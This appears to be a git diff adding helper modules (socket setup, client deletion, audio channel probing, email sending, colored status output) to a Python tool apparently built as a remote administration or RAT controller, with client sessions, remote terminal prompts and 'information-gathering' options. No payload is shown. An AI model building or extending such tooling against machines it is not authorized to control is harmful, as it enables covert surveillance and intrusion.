\ No newline at end of file diff --git a/domestic/shell/stdout.py b/domestic/shell/stdout.py new file mode 100644 index 0000000..cceab86 --- /dev/null +++ b/domestic/shell/stdout.py @@ -0,0 +1,8 @@ +from domestic.utility.status_message import * + + +def stdout(low_message, message): + if low_message == '': + status_message(None, 'program') + else: + status_message(f'\'{message["message"]}\' command could not be found\nUse \'help\' command for assistance', 'warning')
\ No newline at end of file diff --git a/domestic/utility/delete_client.py b/domestic/utility/delete_client.py new file mode 100644 index 0000000..722a1e7 --- /dev/null +++ b/domestic/utility/delete_client.py @@ -0,0 +1,21 @@ +from domestic.utility.status_message import * +from domestic.utility.get_timestamp import * +from domestic.make.make_directories import * +from domestic.global_state import * + + +def delete_client(client, write_stdout=True): + state['sockets']['clients'][0][client].close() + state['sockets']['clients'][0][client] = None + + username = state['sockets']['clients'][2][client]['username'] + if state['options']['information-gathering']['history']: + make_directories([username]) + with open(f'{state["root"]}/{username}/history.txt', 'a') as f: + f.write(f'{username} disconnected at {get_timestamp()}\n') + + for index, item in enumerate(state['sockets']['clients']): + del state['sockets']['clients'][index][client] + + if write_stdout: + status_message('Client successfully deleted', 'success')
\ No newline at end of file diff --git a/domestic/utility/get_filename.py b/domestic/utility/get_filename.py new file mode 100644 index 0000000..ce70c0a --- /dev/null +++ b/domestic/utility/get_filename.py @@ -0,0 +1,5 @@ +import time + + +def get_filename(file_type): + return time.strftime(f'%Y-%m-%d (%H-%M-%S).{file_type}')
\ No newline at end of file diff --git a/domestic/utility/get_io_channels.py b/domestic/utility/get_io_channels.py new file mode 100644 index 0000000..c5fa5e2 --- /dev/null +++ b/domestic/utility/get_io_channels.py @@ -0,0 +1,43 @@ +import pyaudio + +from domestic.global_state import * + + +def get_io_channels(): + try: + p = pyaudio.PyAudio() + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + RATE = 44100 + except: + pass + else: + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + state['settings']['io-channels'][0] = '2' + except: + try: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + state['settings']['io-channels'][0] = '1' + except: + pass + + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + state['settings']['io-channels'][1] = '2' + except: + try: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + state['settings']['io-channels'][1] = '1' + except: + pass + + p.terminate()
\ No newline at end of file diff --git a/domestic/utility/get_timestamp.py b/domestic/utility/get_timestamp.py new file mode 100644 index 0000000..2d70d8f --- /dev/null +++ b/domestic/utility/get_timestamp.py @@ -0,0 +1,5 @@ +import time + + +def get_timestamp(): + return time.strftime(f'%Y-%m-%d (%H-%M-%S)')
\ No newline at end of file diff --git a/domestic/utility/loading.py b/domestic/utility/loading.py new file mode 100644 index 0000000..39c3198 --- /dev/null +++ b/domestic/utility/loading.py @@ -0,0 +1,31 @@ +import threading +import time +import sys + +from domestic.utility.status_message import * +from domestic.global_state import * + + +def loading(text, blacklist): + if state['settings']['loading-animation']: + start_time = time.time() + + while True: + for i in range(len(text)): + if not state['settings']['dynamic']['is-loading']: + sys.exit(0) + if text[i].lower() in blacklist: + continue + text = text[:i].lower() + text[i:].capitalize() + time_taken = time.time() - start_time + status_message(f'[{time_taken:.1f}] {text}', 'loading', {'end': True}) + time.sleep(0.1) + else: + status_message(text.capitalize(), 'loading', {'end': True}) + +def start_loading(text, blacklist=('.', ' ')): + state['settings']['dynamic']['is-loading'] = True + threading.Thread(target=loading, args=(text, blacklist), daemon=True).start() + +def stop_loading(): + state['settings']['dynamic']['is-loading'] = False
\ No newline at end of file diff --git a/domestic/utility/program_setup.py b/domestic/utility/program_setup.py new file mode 100644 index 0000000..d14a6df --- /dev/null +++ b/domestic/utility/program_setup.py @@ -0,0 +1,38 @@ +import threading +import argparse + +from domestic.utility.get_io_channels import * +from domestic.modules.socket_handler import * +from domestic.utility.status_message import * +from domestic.utility.text_to_ascii import * +from domestic.session.session_queue import * +from domestic.utility.write_error import * +from domestic.global_state import * +from domestic.shell.server import * + + +def program_setup(): + parser = argparse.ArgumentParser(description=state['description']) + parser.add_argument('-ip', '--ipv4', default='localhost', help='IP of host.') + parser.add_argument('-p', '--port', type=int, default=1200, help='Port of host.') + args = parser.parse_args() + + try: + get_io_channels() + threading.Thread(target=listening, args=(args.ipv4, str(args.port), False), daemon=True).start() + for index, module in enumerate([*state['sockets']['modules']]): + bind_socket(args.ipv4, str(args.port + (index + 1)), module, False) + except Exception as err: + write_error(err) + status_message('Socket binding error, please verify IP / port argument', 'danger', {'end': True}) + raise Exception('Argument parsing error') + + threading.Thread(target=session_queue, daemon=True).start() + + status_message(text_to_ascii(state['name']), 'pure', {'end': True}) + print() + status_message(state['description'], 'pure', {'end': True}) + print() + status_message(state['author'], 'pure', {'end': True}) + print() + status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/utility/read_file.py b/domestic/utility/read_file.py new file mode 100644 index 0000000..7c9fcea --- /dev/null +++ b/domestic/utility/read_file.py @@ -0,0 +1,3 @@ +def read_file(location): + with open(location, 'rb') as f: + return f.read()
\ No newline at end of file diff --git a/domestic/utility/send_email.py b/domestic/utility/send_email.py new file mode 100644 index 0000000..4edfabf --- /dev/null +++ b/domestic/utility/send_email.py @@ -0,0 +1,12 @@ +import smtplib + + +def send_email(sender, sender_pw, recievers, subject, text): + message = f'From: {sender}\nTo: {recievers}\nSubject: {subject}\n\n{text}' + + server = smtplib.SMTP('smtp.gmail.com', 587) + server.ehlo() + server.starttls() + server.login(sender, sender_pw) + server.sendmail(sender, recievers, message) + server.close()
\ No newline at end of file diff --git a/domestic/utility/status_message.py b/domestic/utility/status_message.py new file mode 100644 index 0000000..c8e4a32 --- /dev/null +++ b/domestic/utility/status_message.py @@ -0,0 +1,86 @@ +from colorama import init, Fore, Style +init() + +from domestic.utility.validate_dict_key import * +from domestic.global_state import * + + +def status_message(data, status, options={}): + dots = validate_dict_key(options, 'dots') + exclamation_point = validate_dict_key(options, 'point') + end = validate_dict_key(options, 'end') + custom = validate_dict_key(options, 'custom') + session = state['session']['active'] + username = state['session']['username'] + name = state['name'] + end_result = '' + + if status == 'raw': + print(f'{Fore.CYAN}{data}{Style.RESET_ALL}') + return + + try: + messages = [x for x in data.split('\n') if x != ''] + except: + messages = [None] + + if exclamation_point == 'empty': + exclamation_point = '' + elif exclamation_point == 'dot': + exclamation_point = '.' + elif exclamation_point: + exclamation_point = '!' + elif status == 'success': + exclamation_point = '!' + else: + exclamation_point = '.' + + if dots: + dots = '..' + else: + dots = '' + + if end: + end_result = '' + else: + end_result = f'\n{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}' + + if custom: + custom = f'\b{custom}' + else: + custom = '' + + if session: + if end: + end_result = '' + else: + end_result = f'\n{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}' + + for index, message in enumerate(messages): + if index == 0 and session and state['settings']['loading']: + print(' ' * 25, end='\r') + + if status == 'success': + print(f'{Fore.GREEN}[{Style.RESET_ALL}+{custom}{Fore.GREEN}]{Style.RESET_ALL} {Fore.GREEN}{message}{exclamation_point}{dots}{Style.RESET_ALL}') + elif status == 'danger': + print(f'{Fore.RED}[{Style.RESET_ALL}-{custom}{Fore.RED}]{Style.RESET_ALL} {Fore.RED}{message}{exclamation_point}{dots}{Style.RESET_ALL}') + elif status == 'warning': + print(f'{Fore.YELLOW}[{Style.RESET_ALL}!{custom}{Fore.YELLOW}]{Style.RESET_ALL} {Fore.YELLOW}{message}{exclamation_point}{dots}{Style.RESET_ALL}') + elif status == 'primary': + print(f'{Fore.BLUE}[{Style.RESET_ALL}i{custom}{Fore.BLUE}]{Style.RESET_ALL} {Fore.BLUE}{message}{exclamation_point}{dots}{Style.RESET_ALL}') + elif status == 'magenta': + print(f'{Fore.MAGENTA}[{Style.RESET_ALL}i{custom}{Fore.MAGENTA}]{Style.RESET_ALL} {Fore.MAGENTA}{message}{exclamation_point}{dots}{Style.RESET_ALL}') + elif status == 'pure': + print(f'{Fore.CYAN}{message}{Style.RESET_ALL}') + elif status == 'loading': + print(f'{Fore.CYAN}{message}{Style.RESET_ALL}', end='\r', flush=True) + elif status == 'program': + if session: + print(f'{Fore.BLUE}{username}{Style.RESET_ALL} {Fore.RED}=>{Style.RESET_ALL} {Fore.BLUE}Terminal{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}', end='') + else: + print(f'{Fore.BLUE}{name}{Style.RESET_ALL}{Fore.RED}>{Style.RESET_ALL}', end='') + else: + raise Exception('Invalid color selection') + + if index == (len(messages) -1) and status != 'program': + print(end=end_result)
\ No newline at end of file diff --git a/domestic/utility/text_to_ascii.py b/domestic/utility/text_to_ascii.py new file mode 100644 index 0000000..0b6d634 --- /dev/null +++ b/domestic/utility/text_to_ascii.py @@ -0,0 +1,17 @@ +import numpy + +from PIL import Image, ImageDraw, ImageFont + + +def text_to_ascii(text): + myfont = ImageFont.truetype('arial.ttf', 18) + size = myfont.getsize(text) + img = Image.new('1', size, 'black') + draw = ImageDraw.Draw(img) + draw.text((0, 0), text, 'white', font=myfont) + pixels = numpy.array(img, dtype=numpy.uint8) + chars = numpy.array([' ', '%'], dtype='U1')[pixels] + strings = [line for line in chars.view('U' + str(chars.shape[1])).flatten() if not line.isspace()] + result = '\n'.join(strings) + + return result
\ No newline at end of file diff --git a/domestic/utility/text_to_image.py b/domestic/utility/text_to_image.py new file mode 100644 index 0000000..0adb304 --- /dev/null +++ b/domestic/utility/text_to_image.py @@ -0,0 +1,42 @@ +from PIL import ImageFont, Image, ImageDraw, ImageOps + +from domestic.utility.write_error import * + + +def text_to_image(text): + PIXEL_ON = 255 + PIXEL_OFF = 1 + + grayscale = 'L' + lines = tuple(l.rstrip() for l in text.split('\n')) + + large_font = 40 + font_path = 'cour.ttf' + + try: + font = ImageFont.truetype(font_path, size=large_font) + except IOError as err: + write_error(err) + font = ImageFont.load_default() + + pt2px = lambda pt: int(round(pt * 96.0 / 72)) + max_width_line = max(lines, key=lambda s: font.getsize(s)[0]) + test_string = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + max_height = pt2px(font.getsize(test_string)[1]) + max_width = pt2px(font.getsize(max_width_line)[0]) + height = max_height * len(lines) + width = int(round(max_width + 40)) + image = Image.new(grayscale, (width, height), color=PIXEL_OFF) + draw = ImageDraw.Draw(image) + + vertical_position = 5 + horizontal_position = 5 + line_spacing = int(round(max_height * 0.8)) + + for line in lines: + draw.text((horizontal_position, vertical_position), line, fill=PIXEL_ON, font=font) + vertical_position += line_spacing + c_box = ImageOps.invert(image).getbbox() + image = image.crop(c_box) + + return image
\ No newline at end of file diff --git a/domestic/utility/validate_dict_key.py b/domestic/utility/validate_dict_key.py new file mode 100644 index 0000000..18e246b --- /dev/null +++ b/domestic/utility/validate_dict_key.py @@ -0,0 +1,10 @@ +def validate_dict_key(dictionary, key, lower=True): + try: + if lower: + return dictionary[key].lower() + else: + return dictionary[key] + except KeyError: + return None + except: + return dictionary[key]
\ No newline at end of file diff --git a/domestic/utility/write_error.py b/domestic/utility/write_error.py new file mode 100644 index 0000000..a65b3bc --- /dev/null +++ b/domestic/utility/write_error.py @@ -0,0 +1,6 @@ +from domestic.global_state import * + + +def write_error(error): + if state['settings']['debug']: + print(f'Error: {error}')
\ No newline at end of file |